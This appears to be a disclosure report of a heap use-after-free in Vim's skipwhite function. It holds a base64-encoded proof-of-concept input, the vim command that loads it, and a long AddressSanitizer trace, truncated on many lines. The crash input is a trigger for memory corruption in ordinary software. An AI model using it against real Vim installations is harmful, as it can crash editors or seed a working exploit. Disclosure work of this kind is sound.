Use After Free in vim/vim

Valid Reported on Jan 27th 2022

0

Description

Use after free occurs in skipwhite function (charset.c:1474).
commit : 166788c657f4b1090a31ea37a023b1f2c78790c8

Proof of Concept

```
$ echo -ne "ZnUgUmUwYTAoZyxuKQp+CnMvCnIwIzAKZW5kZgpzL1wlJykvXD1hMDAwKDAwMDA
MDAwMDAwMDAwMDAwMDAwMDAwLCBSZTBhMCgnJywwMDApMDA=" | base64 -d > minimized_p
```

ASAN

```
$ ./vim -u NONE -i NONE -n -X -Z -e -m -s -S minimized_poc -c ":qa!"
==================================================================
==6580==ERROR: AddressSanitizer: heap-use-after-free on address 0x606000000
READ of size 1 at 0x606000000e96 thread T0
    #0 0xd8715b in skipwhite /home/alkyne/fuzzing/vim-asan/src/charset.c:14
    #1 0xc099d6 in get_func_tv /home/alkyne/fuzzing/vim-asan/src/userfunc.c
    #2 0x60b95b in eval_func /home/alkyne/fuzzing/vim-asan/src/eval.c:2103:
    #3 0x60a091 in eval7 /home/alkyne/fuzzing/vim-asan/src/eval.c:3746:9
    #4 0x60f92b in eval7t /home/alkyne/fuzzing/vim-asan/src/eval.c:3426:11
    #5 0x60ebb5 in eval6 /home/alkyne/fuzzing/vim-asan/src/eval.c:3218:9
    #6 0x60d7ba in eval5 /home/alkyne/fuzzing/vim-asan/src/eval.c:2981:9
    #7 0x60ce79 in eval4 /home/alkyne/fuzzing/vim-asan/src/eval.c:2834:9
    #8 0x60bd6a in eval3 /home/alkyne/fuzzing/vim-asan/src/eval.c:2695:9
    #9 0x5ebc62 in eval2 /home/alkyne/fuzzing/vim-asan/src/eval.c:2569:9
    #10 0x5ebc62 in eval1 /home/alkyne/fuzzing/vim-asan/src
    #11 0xc09526 in get_func_tv /home/alkyne/fuzzing/vim-asan/src/userfunc
    #12 0x60b95b in eval_func /home/alkyne/fuzzing/vim-asan/src/eval.c:2103
```

```
#13 0x60a091 in eval7 /home/alkyne/fuzzing/vim-asan/src/eval.c:3746:9
#14 0x60f92b in eval7t /home/alkyne/fuzzing/vim-asan/src/eval.c:3426:11
#15 0x60ebb5 in eval6 /home/alkyne/fuzzing/vim-asan/src/eval.c:3218:9
#16 0x60d7ba in eval5 /home/alkyne/fuzzing/vim-asan/src/eval.c:2981:9
#17 0x60ce79 in eval4 /home/alkyne/fuzzing/vim-asan/src/eval.c:2834:9
#18 0x60bd6a in eval3 /home/alkyne/fuzzing/vim-asan/src/eval.c:2695:9
#19 0x5ebc62 in eval2 /home/alkyne/fuzzing/vim-asan/src/eval.c:2569:9
#20 0x5ebc62 in eval1 /home/alkyne/fuzzing/vim-asan/src/eval.c:2415:9
#21 0x5f9759 in eval0_retarg /home/alkyne/fuzzing/vim-asan/src/eval.c:2
#22 0x5ee7d7 in eval0 /home/alkyne/fuzzing/vim-asan/src/eval.c:2307:12
#23 0x5ee7d7 in eval_to_string_eap /home/alkyne/fuzzing/vim-asan/src/ev
#24 0x96eae8 in vim_regsub_both /home/alkyne/fuzzing/vim-asan/src/regex
#25 0x96f0b8 in vim_regsub_multi /home/alkyne/fuzzing/vim-asan/src/rege
#26 0x66b761 in ex_substitute /home/alkyne/fuzzing/vim-asan/src/ex_cmds
#27 0x67f55c in do_one_cmd /home/alkyne/fuzzing/vim-asan/src/ex_docmd.c
#28 0x67f55c in do_cmdline /home/alkyne/fuzzing/vim-asan/src/ex_docmd.c
#29 0xc10279 in call_user_func /home/alkyne/fuzzing/vim-asan/src/userfu
#30 0xc10279 in call_user_func_check /home/alkyne/fuzzing/vim-asan/src/
#31 0xc0aeec in call_func /home/alkyne/fuzzing/vim-asan/src/userfunc.c:
#32 0xc09c18 in get_func_tv /home/alkyne/fuzzing/vim-asan/src/userfunc.
#33 0x60b95b in eval_func /home/alkyne/fuzzing/vim-asan/src/eval.c:2103
#34 0x60a091 in eval7 /home/alkyne/fuzzing/vim-asan/src/eval.c:3746:9
#35 0x60f92b in eval7t /home/alkyne/fuzzing/vim-asan/src/eval.c:3426:11
#36 0x60ebb5 in eval6 /home/alkyne/fuzzing/vim-asan/src/eval.c:3218:9
#37 0x60d7ba in eval5 /home/alkyne/fuzzing/vim-asan/src/eval.c:2981:9
#38 0x60ce79 in eval4 /home/alkyne/fuzzing/vim-asan/src/eval.c:2834:9
#39 0x60bd6a in eval3 /home/alkyne/fuzzing/vim-asan/src/eval.c:2695:9
#40 0x5ebc62 in eval2 /home/alkyne/fuzzing/vim-asan/src/eval.c:2569:9
#41 0x5ebc62 in eval1 /home/alkyne/fuzzing/vim-asan/src/eval.c:2415:9
#42 0xc09526 in get_func_tv /home/alkyne/fuzzing/vim-asan/src/userfunc.
#43 0x60b95b in eval_func /home/alkyne/fuzzing/vim-asan/src/eval.c:2103
#44 0x60a091 in eval7 /home/alkyne/fuzzing/vim-asan/src/eval.c:3746:9
#45 0x60f92b in eval7t /home/alkyne/fuzzing/vim-asan/src/eval.c:3426:11
#46 0x60ebb5 in eval6 /home/alkyne/fuzzing/vim-asan/src/eval.c:3218:9
#47 0x60d7ba in eval5 /home/alkyne/fuzzing/vim-asan/src/eval.c:2981:9
#48 0x60ce79 in eval4 /home/alkyne/fuzzing/vim-asan/src/eval.c:2834:9
#49 0x60bd6a in eval3 /home/alkyne/fuzzing/vim-asan/src/eval.c:2695:9
#50 0x5ebc62 in eval2 /home/alkyne/fuzzing/vim-asan/src/
#51 0x5ebc62 in eval1 /home/alkyne/fuzzing/vim-asan/src
#52 0x5f9759 in eval0_retarg /home/alkyne/fuzzing/vim-asan/src/eval.c:2
```

```
#53 0x5ee7d7 in eval0 /home/alkyne/fuzzing/vim-asan/src/eval.c:2307:12
#54 0x5ee7d7 in eval_to_string_eap /home/alkyne/fuzzing/vim-asan/src/ev
#55 0x96eae8 in vim_regsub_both /home/alkyne/fuzzing/vim-asan/src/rege

#56 0x96f0b8 in vim_regsub_multi /home/alkyne/fuzzing/vim-asan/src/rege
#57 0x66b761 in ex_substitute /home/alkyne/fuzzing/vim-asan/src/ex_cmds
#58 0x67f55c in do_one_cmd /home/alkyne/fuzzing/vim-asan/src/ex_docmd.c
#59 0x67f55c in do_cmdline /home/alkyne/fuzzing/vim-asan/src/ex_docmd.c
#60 0xc10279 in call_user_func /home/alkyne/fuzzing/vim-asan/src/userfu
#61 0xc10279 in call_user_func_check /home/alkyne/fuzzing/vim-asan/src/
#62 0xc0aeec in call_func /home/alkyne/fuzzing/vim-asan/src/userfunc.c:
#63 0xc09c18 in get_func_tv /home/alkyne/fuzzing/vim-asan/src/userfunc.
#64 0x60b95b in eval_func /home/alkyne/fuzzing/vim-asan/src/eval.c:2103
#65 0x60a091 in eval7 /home/alkyne/fuzzing/vim-asan/src/eval.c:3746:9
#66 0x60f92b in eval7t /home/alkyne/fuzzing/vim-asan/src/eval.c:3426:11
#67 0x60ebb5 in eval6 /home/alkyne/fuzzing/vim-asan/src/eval.c:3218:9
#68 0x60d7ba in eval5 /home/alkyne/fuzzing/vim-asan/src/eval.c:2981:9
#69 0x60ce79 in eval4 /home/alkyne/fuzzing/vim-asan/src/eval.c:2834:9
#70 0x60bd6a in eval3 /home/alkyne/fuzzing/vim-asan/src/eval.c:2695:9
#71 0x5ebc62 in eval2 /home/alkyne/fuzzing/vim-asan/src/eval.c:2569:9
#72 0x5ebc62 in eval1 /home/alkyne/fuzzing/vim-asan/src/eval.c:2415:9
#73 0xc09526 in get_func_tv /home/alkyne/fuzzing/vim-asan/src/userfunc.
#74 0x60b95b in eval_func /home/alkyne/fuzzing/vim-asan/src/eval.c:2103
#75 0x60a091 in eval7 /home/alkyne/fuzzing/vim-asan/src/eval.c:3746:9
#76 0x60f92b in eval7t /home/alkyne/fuzzing/vim-asan/src/eval.c:3426:11
#77 0x60ebb5 in eval6 /home/alkyne/fuzzing/vim-asan/src/eval.c:3218:9
#78 0x60d7ba in eval5 /home/alkyne/fuzzing/vim-asan/src/eval.c:2981:9
#79 0x60ce79 in eval4 /home/alkyne/fuzzing/vim-asan/src/eval.c:2834:9
#80 0x60bd6a in eval3 /home/alkyne/fuzzing/vim-asan/src/eval.c:2695:9
#81 0x5ebc62 in eval2 /home/alkyne/fuzzing/vim-asan/src/eval.c:2569:9
#82 0x5ebc62 in eval1 /home/alkyne/fuzzing/vim-asan/src/eval.c:2415:9
#83 0x5f9759 in eval0_retarg /home/alkyne/fuzzing/vim-asan/src/eval.c:2
#84 0x5ee7d7 in eval0 /home/alkyne/fuzzing/vim-asan/src/eval.c:2307:12
#85 0x5ee7d7 in eval_to_string_eap /home/alkyne/fuzzing/vim-asan/src/ev
#86 0x96eae8 in vim_regsub_both /home/alkyne/fuzzing/vim-asan/src/rege
#87 0x96f0b8 in vim_regsub_multi /home/alkyne/fuzzing/vim-asan/src/rege
#88 0x66b761 in ex_substitute /home/alkyne/fuzzing/vim-asan/src/ex_cmds
#89 0x67f55c in do_one_cmd /home/alkyne/fuzzing/vim-asan/src/ex_docmd.c
#90 0x67f55c in do_cmdline /home/alkyne/fuzzing/vim-asan
#91 0xc10279 in call_user_func /home/alkyne/fuzzing/vim
#92 0xc10279 in call_user_func_check /home/alkyne/fuzzing/vim-asan/src/
```

```
#93 0xc0aeec in call_func /home/alkyne/fuzzing/vim-asan/src/userfunc.c:
#94 0xc09c18 in get_func_tv /home/alkyne/fuzzing/vim-asan/src/userfunc.
#95 0x60b95b in eval_func /home/alkyne/fuzzing/vim-asan/src/eval.c:2103

#96 0x60a091 in eval7 /home/alkyne/fuzzing/vim-asan/src/eval.c:3746:9
#97 0x60f92b in eval7t /home/alkyne/fuzzing/vim-asan/src/eval.c:3426:11
#98 0x60ebb5 in eval6 /home/alkyne/fuzzing/vim-asan/src/eval.c:3218:9
#99 0x60d7ba in eval5 /home/alkyne/fuzzing/vim-asan/src/eval.c:2981:9
#100 0x60ce79 in eval4 /home/alkyne/fuzzing/vim-asan/src/eval.c:2834:9
#101 0x60bd6a in eval3 /home/alkyne/fuzzing/vim-asan/src/eval.c:2695:9
#102 0x5ebc62 in eval2 /home/alkyne/fuzzing/vim-asan/src/eval.c:2569:9
#103 0x5ebc62 in eval1 /home/alkyne/fuzzing/vim-asan/src/eval.c:2415:9
#104 0xc09526 in get_func_tv /home/alkyne/fuzzing/vim-asan/src/userfunc
#105 0x60b95b in eval_func /home/alkyne/fuzzing/vim-asan/src/eval.c:210
#106 0x60a091 in eval7 /home/alkyne/fuzzing/vim-asan/src/eval.c:3746:9
#107 0x60f92b in eval7t /home/alkyne/fuzzing/vim-asan/src/eval.c:3426:1
#108 0x60ebb5 in eval6 /home/alkyne/fuzzing/vim-asan/src/eval.c:3218:9
#109 0x60d7ba in eval5 /home/alkyne/fuzzing/vim-asan/src/eval.c:2981:9
#110 0x60ce79 in eval4 /home/alkyne/fuzzing/vim-asan/src/eval.c:2834:9
#111 0x60bd6a in eval3 /home/alkyne/fuzzing/vim-asan/src/eval.c:2695:9
#112 0x5ebc62 in eval2 /home/alkyne/fuzzing/vim-asan/src/eval.c:2569:9
#113 0x5ebc62 in eval1 /home/alkyne/fuzzing/vim-asan/src/eval.c:2415:9
#114 0x5f9759 in eval0_retarg /home/alkyne/fuzzing/vim-asan/src/eval.c:
#115 0x5ee7d7 in eval0 /home/alkyne/fuzzing/vim-asan/src/eval.c:2307:12
#116 0x5ee7d7 in eval_to_string_eap /home/alkyne/fuzzing/vim-asan/src/e
#117 0x96eae8 in vim_regsub_both /home/alkyne/fuzzing/vim-asan/src/rege
#118 0x96f0b8 in vim_regsub_multi /home/alkyne/fuzzing/vim-asan/src/reg
#119 0x66b761 in ex_substitute /home/alkyne/fuzzing/vim-asan/src/ex_cmd
#120 0x67f55c in do_one_cmd /home/alkyne/fuzzing/vim-asan/src/ex_docmd.
#121 0x67f55c in do_cmdline /home/alkyne/fuzzing/vim-asan/src/ex_docmd.
#122 0xc10279 in call_user_func /home/alkyne/fuzzing/vim-asan/src/useri
#123 0xc10279 in call_user_func_check /home/alkyne/fuzzing/vim-asan/src
#124 0xc0aeec in call_func /home/alkyne/fuzzing/vim-asan/src/userfunc.c
#125 0xc09c18 in get_func_tv /home/alkyne/fuzzing/vim-asan/src/userfunc
#126 0x60b95b in eval_func /home/alkyne/fuzzing/vim-asan/src/eval.c:210
#127 0x60a091 in eval7 /home/alkyne/fuzzing/vim-asan/src/eval.c:3746:9
#128 0x60f92b in eval7t /home/alkyne/fuzzing/vim-asan/src/eval.c:3426:1
#129 0x60ebb5 in eval6 /home/alkyne/fuzzing/vim-asan/src/eval.c:3218:9
#130 0x60d7ba in eval5 /home/alkyne/fuzzing/vim-asan/src/
#131 0x60ce79 in eval4 /home/alkyne/fuzzing/vim-asan/sr
#132 0x60bd6a in eval3 /home/alkyne/fuzzing/vim-asan/src/eval.c:2695:9
```

```
#133 0x5ebc62 in eval2 /home/alkyne/fuzzing/vim-asan/src/eval.c:2569:9
#134 0x5ebc62 in eval1 /home/alkyne/fuzzing/vim-asan/src/eval.c:2415:9
#135 0xc09526 in get_func_tv /home/alkyne/fuzzing/vim-asan/src/userfunc

#136 0x60b95b in eval_func /home/alkyne/fuzzing/vim-asan/src/eval.c:216
#137 0x60a091 in eval7 /home/alkyne/fuzzing/vim-asan/src/eval.c:3746:9
#138 0x60f92b in eval7t /home/alkyne/fuzzing/vim-asan/src/eval.c:3426:1
#139 0x60ebb5 in eval6 /home/alkyne/fuzzing/vim-asan/src/eval.c:3218:9
#140 0x60d7ba in eval5 /home/alkyne/fuzzing/vim-asan/src/eval.c:2981:9
#141 0x60ce79 in eval4 /home/alkyne/fuzzing/vim-asan/src/eval.c:2834:9
#142 0x60bd6a in eval3 /home/alkyne/fuzzing/vim-asan/src/eval.c:2695:9
#143 0x5ebc62 in eval2 /home/alkyne/fuzzing/vim-asan/src/eval.c:2569:9
#144 0x5ebc62 in eval1 /home/alkyne/fuzzing/vim-asan/src/eval.c:2415:9
#145 0x5f9759 in eval0_retarg /home/alkyne/fuzzing/vim-asan/src/eval.c:
#146 0x5ee7d7 in eval0 /home/alkyne/fuzzing/vim-asan/src/eval.c:2307:12
#147 0x5ee7d7 in eval_to_string_eap /home/alkyne/fuzzing/vim-asan/src/e
#148 0x96eae8 in vim_regsub_both /home/alkyne/fuzzing/vim-asan/src/rege
#149 0x96f0b8 in vim_regsub_multi /home/alkyne/fuzzing/vim-asan/src/reg
#150 0x66b761 in ex_substitute /home/alkyne/fuzzing/vim-asan/src/ex_cmd
#151 0x67f55c in do_one_cmd /home/alkyne/fuzzing/vim-asan/src/ex_docmd.
#152 0x67f55c in do_cmdline /home/alkyne/fuzzing/vim-asan/src/ex_docmd.
#153 0xc10279 in call_user_func /home/alkyne/fuzzing/vim-asan/src/userf
#154 0xc10279 in call_user_func_check /home/alkyne/fuzzing/vim-asan/src
#155 0xc0aeec in call_func /home/alkyne/fuzzing/vim-asan/src/userfunc.c
#156 0xc09c18 in get_func_tv /home/alkyne/fuzzing/vim-asan/src/userfunc
#157 0x60b95b in eval_func /home/alkyne/fuzzing/vim-asan/src/eval.c:216
#158 0x60a091 in eval7 /home/alkyne/fuzzing/vim-asan/src/eval.c:3746:9
#159 0x60f92b in eval7t /home/alkyne/fuzzing/vim-asan/src/eval.c:3426:1
#160 0x60ebb5 in eval6 /home/alkyne/fuzzing/vim-asan/src/eval.c:3218:9
#161 0x60d7ba in eval5 /home/alkyne/fuzzing/vim-asan/src/eval.c:2981:9
#162 0x60ce79 in eval4 /home/alkyne/fuzzing/vim-asan/src/eval.c:2834:9
#163 0x60bd6a in eval3 /home/alkyne/fuzzing/vim-asan/src/eval.c:2695:9
#164 0x5ebc62 in eval2 /home/alkyne/fuzzing/vim-asan/src/eval.c:2569:9
#165 0x5ebc62 in eval1 /home/alkyne/fuzzing/vim-asan/src/eval.c:2415:9
#166 0xc09526 in get_func_tv /home/alkyne/fuzzing/vim-asan/src/userfunc
#167 0x60b95b in eval_func /home/alkyne/fuzzing/vim-asan/src/eval.c:216
#168 0x60a091 in eval7 /home/alkyne/fuzzing/vim-asan/src/eval.c:3746:9
#169 0x60f92b in eval7t /home/alkyne/fuzzing/vim-asan/src/eval.c:3426:1
#170 0x60ebb5 in eval6 /home/alkyne/fuzzing/vim-asan/src/
#171 0x60d7ba in eval5 /home/alkyne/fuzzing/vim-asan/sr
#172 0x60ce79 in eval4 /home/alkyne/fuzzing/vim-asan/src/eval.c:2834:9
```

```
#173 0x60bd6a in eval3 /home/alkyne/fuzzing/vim-asan/src/eval.c:2695:9
#174 0x5ebc62 in eval2 /home/alkyne/fuzzing/vim-asan/src/eval.c:2569:9
#175 0x5ebc62 in eval1 /home/alkyne/fuzzing/vim-asan/src/eval.c:2415:9

#176 0x5f9759 in eval0_retarg /home/alkyne/fuzzing/vim-asan/src/eval.c:
#177 0x5ee7d7 in eval0 /home/alkyne/fuzzing/vim-asan/src/eval.c:2307:12
#178 0x5ee7d7 in eval_to_string_eap /home/alkyne/fuzzing/vim-asan/src/e
#179 0x96eae8 in vim_regsub_both /home/alkyne/fuzzing/vim-asan/src/rege
#180 0x96f0b8 in vim_regsub_multi /home/alkyne/fuzzing/vim-asan/src/reg
#181 0x66b761 in ex_substitute /home/alkyne/fuzzing/vim-asan/src/ex_cmd
#182 0x67f55c in do_one_cmd /home/alkyne/fuzzing/vim-asan/src/ex_docmd.
#183 0x67f55c in do_cmdline /home/alkyne/fuzzing/vim-asan/src/ex_docmd.
#184 0xc10279 in call_user_func /home/alkyne/fuzzing/vim-asan/src/usert
#185 0xc10279 in call_user_func_check /home/alkyne/fuzzing/vim-asan/src
#186 0xc0aeec in call_func /home/alkyne/fuzzing/vim-asan/src/userfunc.c
#187 0xc09c18 in get_func_tv /home/alkyne/fuzzing/vim-asan/src/userfunc
#188 0x60b95b in eval_func /home/alkyne/fuzzing/vim-asan/src/eval.c:216
#189 0x60a091 in eval7 /home/alkyne/fuzzing/vim-asan/src/eval.c:3746:9
#190 0x60f92b in eval7t /home/alkyne/fuzzing/vim-asan/src/eval.c:3426:1
#191 0x60ebb5 in eval6 /home/alkyne/fuzzing/vim-asan/src/eval.c:3218:9
#192 0x60d7ba in eval5 /home/alkyne/fuzzing/vim-asan/src/eval.c:2981:9
#193 0x60ce79 in eval4 /home/alkyne/fuzzing/vim-asan/src/eval.c:2834:9
#194 0x60bd6a in eval3 /home/alkyne/fuzzing/vim-asan/src/eval.c:2695:9
#195 0x5ebc62 in eval2 /home/alkyne/fuzzing/vim-asan/src/eval.c:2569:9
#196 0x5ebc62 in eval1 /home/alkyne/fuzzing/vim-asan/src/eval.c:2415:9
#197 0xc09526 in get_func_tv /home/alkyne/fuzzing/vim-asan/src/userfunc
#198 0x60b95b in eval_func /home/alkyne/fuzzing/vim-asan/src/eval.c:216
#199 0x60a091 in eval7 /home/alkyne/fuzzing/vim-asan/src/eval.c:3746:9
#200 0x60f92b in eval7t /home/alkyne/fuzzing/vim-asan/src/eval.c:3426:1
#201 0x60ebb5 in eval6 /home/alkyne/fuzzing/vim-asan/src/eval.c:3218:9
#202 0x60d7ba in eval5 /home/alkyne/fuzzing/vim-asan/src/eval.c:2981:9
#203 0x60ce79 in eval4 /home/alkyne/fuzzing/vim-asan/src/eval.c:2834:9
#204 0x60bd6a in eval3 /home/alkyne/fuzzing/vim-asan/src/eval.c:2695:9
#205 0x5ebc62 in eval2 /home/alkyne/fuzzing/vim-asan/src/eval.c:2569:9
#206 0x5ebc62 in eval1 /home/alkyne/fuzzing/vim-asan/src/eval.c:2415:9
#207 0x5f9759 in eval0_retarg /home/alkyne/fuzzing/vim-asan/src/eval.c:
#208 0x5ee7d7 in eval0 /home/alkyne/fuzzing/vim-asan/src/eval.c:2307:12
#209 0x5ee7d7 in eval_to_string_eap /home/alkyne/fuzzing/vim-asan/src/e
#210 0x96eae8 in vim_regsub_both /home/alkyne/fuzzing/vim-asan/src/rege
#211 0x96f0b8 in vim_regsub_multi /home/alkyne/fuzzing/vim-asan/src/reg
#212 0x66b761 in ex_substitute /home/alkyne/fuzzing/vim-asan/src/ex_cmd
```

```
#213 0x67f55c in do_one_cmd /home/alkyne/fuzzing/vim-asan/src/ex_docmd.
#214 0x67f55c in do_cmdline /home/alkyne/fuzzing/vim-asan/src/ex_docmd.
#215 0xc10279 in call_user_func /home/alkyne/fuzzing/vim-asan/src/usert

#216 0xc10279 in call_user_func_check /home/alkyne/fuzzing/vim-asan/src
#217 0xc0aeec in call_func /home/alkyne/fuzzing/vim-asan/src/userfunc.c
#218 0xc09c18 in get_func_tv /home/alkyne/fuzzing/vim-asan/src/userfunc
#219 0x60b95b in eval_func /home/alkyne/fuzzing/vim-asan/src/eval.c:216
#220 0x60a091 in eval7 /home/alkyne/fuzzing/vim-asan/src/eval.c:3746:9
#221 0x60f92b in eval7t /home/alkyne/fuzzing/vim-asan/src/eval.c:3426:1
#222 0x60ebb5 in eval6 /home/alkyne/fuzzing/vim-asan/src/eval.c:3218:9
#223 0x60d7ba in eval5 /home/alkyne/fuzzing/vim-asan/src/eval.c:2981:9
#224 0x60ce79 in eval4 /home/alkyne/fuzzing/vim-asan/src/eval.c:2834:9
#225 0x60bd6a in eval3 /home/alkyne/fuzzing/vim-asan/src/eval.c:2695:9
#226 0x5ebc62 in eval2 /home/alkyne/fuzzing/vim-asan/src/eval.c:2569:9
#227 0x5ebc62 in eval1 /home/alkyne/fuzzing/vim-asan/src/eval.c:2415:9
#228 0xc09526 in get_func_tv /home/alkyne/fuzzing/vim-asan/src/userfunc
#229 0x60b95b in eval_func /home/alkyne/fuzzing/vim-asan/src/eval.c:216
#230 0x60a091 in eval7 /home/alkyne/fuzzing/vim-asan/src/eval.c:3746:9
#231 0x60f92b in eval7t /home/alkyne/fuzzing/vim-asan/src/eval.c:3426:1
#232 0x60ebb5 in eval6 /home/alkyne/fuzzing/vim-asan/src/eval.c:3218:9
#233 0x60d7ba in eval5 /home/alkyne/fuzzing/vim-asan/src/eval.c:2981:9
#234 0x60ce79 in eval4 /home/alkyne/fuzzing/vim-asan/src/eval.c:2834:9
#235 0x60bd6a in eval3 /home/alkyne/fuzzing/vim-asan/src/eval.c:2695:9
#236 0x5ebc62 in eval2 /home/alkyne/fuzzing/vim-asan/src/eval.c:2569:9
#237 0x5ebc62 in eval1 /home/alkyne/fuzzing/vim-asan/src/eval.c:2415:9
#238 0x5f9759 in eval0_retarg /home/alkyne/fuzzing/vim-asan/src/eval.c:
#239 0x5ee7d7 in eval0 /home/alkyne/fuzzing/vim-asan/src/eval.c:2307:12
#240 0x5ee7d7 in eval_to_string_eap /home/alkyne/fuzzing/vim-asan/src/e
#241 0x96eae8 in vim_regsub_both /home/alkyne/fuzzing/vim-asan/src/rege
#242 0x96f0b8 in vim_regsub_multi /home/alkyne/fuzzing/vim-asan/src/reg
#243 0x66b761 in ex_substitute /home/alkyne/fuzzing/vim-asan/src/ex_cmd
#244 0x67f55c in do_one_cmd /home/alkyne/fuzzing/vim-asan/src/ex_docmd.
#245 0x67f55c in do_cmdline /home/alkyne/fuzzing/vim-asan/src/ex_docmd.
#246 0xc10279 in call_user_func /home/alkyne/fuzzing/vim-asan/src/usert
#247 0xc10279 in call_user_func_check /home/alkyne/fuzzing/vim-asan/src
#248 0xc0aeec in call_func /home/alkyne/fuzzing/vim-asan/src/userfunc.c
#249 0xc09c18 in get_func_tv /home/alkyne/fuzzing/vim-asan/src/userfunc
#250 0x60b95b in eval_func /home/alkyne/fuzzing/vim-asan/
#251 0x60a091 in eval7 /home/alkyne/fuzzing/vim-asan/sr
#252 0x60f92b in eval7t /home/alkyne/fuzzing/vim-asan/src/eval.c:3426:1
```

```
#253 0x60ebb5 in eval6 /home/alkyne/fuzzing/vim-asan/src/eval.c:3218:9
#254 0x60d7ba in eval5 /home/alkyne/fuzzing/vim-asan/src/eval.c:2981:9
#255 0x60ce79 in eval4 /home/alkyne/fuzzing/vim-asan/src/eval.c:2834:9

#256 0x60bd6a in eval3 /home/alkyne/fuzzing/vim-asan/src/eval.c:2695:9
#257 0x5ebc62 in eval2 /home/alkyne/fuzzing/vim-asan/src/eval.c:2569:9
#258 0x5ebc62 in eval1 /home/alkyne/fuzzing/vim-asan/src/eval.c:2415:9
#259 0xc09526 in get_func_tv /home/alkyne/fuzzing/vim-asan/src/userfunc
#260 0x60b95b in eval_func /home/alkyne/fuzzing/vim-asan/src/eval.c:216
#261 0x60a091 in eval7 /home/alkyne/fuzzing/vim-asan/src/eval.c:3746:9
#262 0x60f92b in eval7t /home/alkyne/fuzzing/vim-asan/src/eval.c:3426:1
#263 0x60ebb5 in eval6 /home/alkyne/fuzzing/vim-asan/src/eval.c:3218:9
#264 0x60d7ba in eval5 /home/alkyne/fuzzing/vim-asan/src/eval.c:2981:9
#265 0x60ce79 in eval4 /home/alkyne/fuzzing/vim-asan/src/eval.c:2834:9
#266 0x60bd6a in eval3 /home/alkyne/fuzzing/vim-asan/src/eval.c:2695:9
#267 0x5ebc62 in eval2 /home/alkyne/fuzzing/vim-asan/src/eval.c:2569:9
#268 0x5ebc62 in eval1 /home/alkyne/fuzzing/vim-asan/src/eval.c:2415:9
#269 0x5f9759 in eval0_retarg /home/alkyne/fuzzing/vim-asan/src/eval.c:
#270 0x5ee7d7 in eval0 /home/alkyne/fuzzing/vim-asan/src/eval.c:2307:12
#271 0x5ee7d7 in eval_to_string_eap /home/alkyne/fuzzing/vim-asan/src/e
#272 0x96eae8 in vim_regsub_both /home/alkyne/fuzzing/vim-asan/src/rege
#273 0x96f0b8 in vim_regsub_multi /home/alkyne/fuzzing/vim-asan/src/reg
#274 0x66b761 in ex_substitute /home/alkyne/fuzzing/vim-asan/src/ex_cmd
#275 0x67f55c in do_one_cmd /home/alkyne/fuzzing/vim-asan/src/ex_docmd.
#276 0x67f55c in do_cmdline /home/alkyne/fuzzing/vim-asan/src/ex_docmd.
#277 0xc10279 in call_user_func /home/alkyne/fuzzing/vim-asan/src/usert
#278 0xc10279 in call_user_func_check /home/alkyne/fuzzing/vim-asan/src
#279 0xc0aeec in call_func /home/alkyne/fuzzing/vim-asan/src/userfunc.c
#280 0xc09c18 in get_func_tv /home/alkyne/fuzzing/vim-asan/src/userfunc
#281 0x60b95b in eval_func /home/alkyne/fuzzing/vim-asan/src/eval.c:216
#282 0x60a091 in eval7 /home/alkyne/fuzzing/vim-asan/src/eval.c:3746:9
#283 0x60f92b in eval7t /home/alkyne/fuzzing/vim-asan/src/eval.c:3426:1
#284 0x60ebb5 in eval6 /home/alkyne/fuzzing/vim-asan/src/eval.c:3218:9
#285 0x60d7ba in eval5 /home/alkyne/fuzzing/vim-asan/src/eval.c:2981:9
#286 0x60ce79 in eval4 /home/alkyne/fuzzing/vim-asan/src/eval.c:2834:9
#287 0x60bd6a in eval3 /home/alkyne/fuzzing/vim-asan/src/eval.c:2695:9
#288 0x5ebc62 in eval2 /home/alkyne/fuzzing/vim-asan/src/eval.c:2569:9
#289 0x5ebc62 in eval1 /home/alkyne/fuzzing/vim-asan/src/eval.c:2415:9
#290 0xc09526 in get_func_tv /home/alkyne/fuzzing/vim-asa
#291 0x60b95b in eval_func /home/alkyne/fuzzing/vim-asa
#292 0x60a091 in eval7 /home/alkyne/fuzzing/vim-asan/src/eval.c:3746:9
```

```
    #293 0x60f92b in eval7t /home/alkyne/fuzzing/vim-asan/src/eval.c:3426:1
    #294 0x60ebb5 in eval6 /home/alkyne/fuzzing/vim-asan/src/eval.c:3218:9
    #295 0x60d7ba in eval5 /home/alkyne/fuzzing/vim-asan/src/eval.c:2981:9


0x606000000e96 is located 54 bytes inside of 57-byte region [0x606000000e60
freed by thread T0 here:
    #0 0x496f8d in free (/home/alkyne/fuzzing/vim-asan/src/vim+0x496f8d)
    #1 0x66d171 in ex_substitute /home/alkyne/fuzzing/vim-asan/src/ex_cmds.
    #2 0x67f55c in do_one_cmd /home/alkyne/fuzzing/vim-asan/src/ex_docmd.c:
    #3 0x67f55c in do_cmdline /home/alkyne/fuzzing/vim-asan/src/ex_docmd.c:
    #4 0xc10279 in call_user_func /home/alkyne/fuzzing/vim-asan/src/userfur
    #5 0xc10279 in call_user_func_check /home/alkyne/fuzzing/vim-asan/src/u
    #6 0xc0aeec in call_func /home/alkyne/fuzzing/vim-asan/src/userfunc.c:3
    #7 0xc09c18 in get_func_tv /home/alkyne/fuzzing/vim-asan/src/userfunc.c
    #8 0x60b95b in eval_func /home/alkyne/fuzzing/vim-asan/src/eval.c:2103:
    #9 0x60a091 in eval7 /home/alkyne/fuzzing/vim-asan/src/eval.c:3746:9
    #10 0x60f92b in eval7t /home/alkyne/fuzzing/vim-asan/src/eval.c:3426:11
    #11 0x60ebb5 in eval6 /home/alkyne/fuzzing/vim-asan/src/eval.c:3218:9
    #12 0x60d7ba in eval5 /home/alkyne/fuzzing/vim-asan/src/eval.c:2981:9
    #13 0x60ce79 in eval4 /home/alkyne/fuzzing/vim-asan/src/eval.c:2834:9
    #14 0x60bd6a in eval3 /home/alkyne/fuzzing/vim-asan/src/eval.c:2695:9
    #15 0x5ebc62 in eval2 /home/alkyne/fuzzing/vim-asan/src/eval.c:2569:9
    #16 0x5ebc62 in eval1 /home/alkyne/fuzzing/vim-asan/src/eval.c:2415:9
    #17 0xc09526 in get_func_tv /home/alkyne/fuzzing/vim-asan/src/userfunc.
    #18 0x60b95b in eval_func /home/alkyne/fuzzing/vim-asan/src/eval.c:2103
    #19 0x60a091 in eval7 /home/alkyne/fuzzing/vim-asan/src/eval.c:3746:9
    #20 0x60f92b in eval7t /home/alkyne/fuzzing/vim-asan/src/eval.c:3426:11
    #21 0x60ebb5 in eval6 /home/alkyne/fuzzing/vim-asan/src/eval.c:3218:9
    #22 0x60d7ba in eval5 /home/alkyne/fuzzing/vim-asan/src/eval.c:2981:9
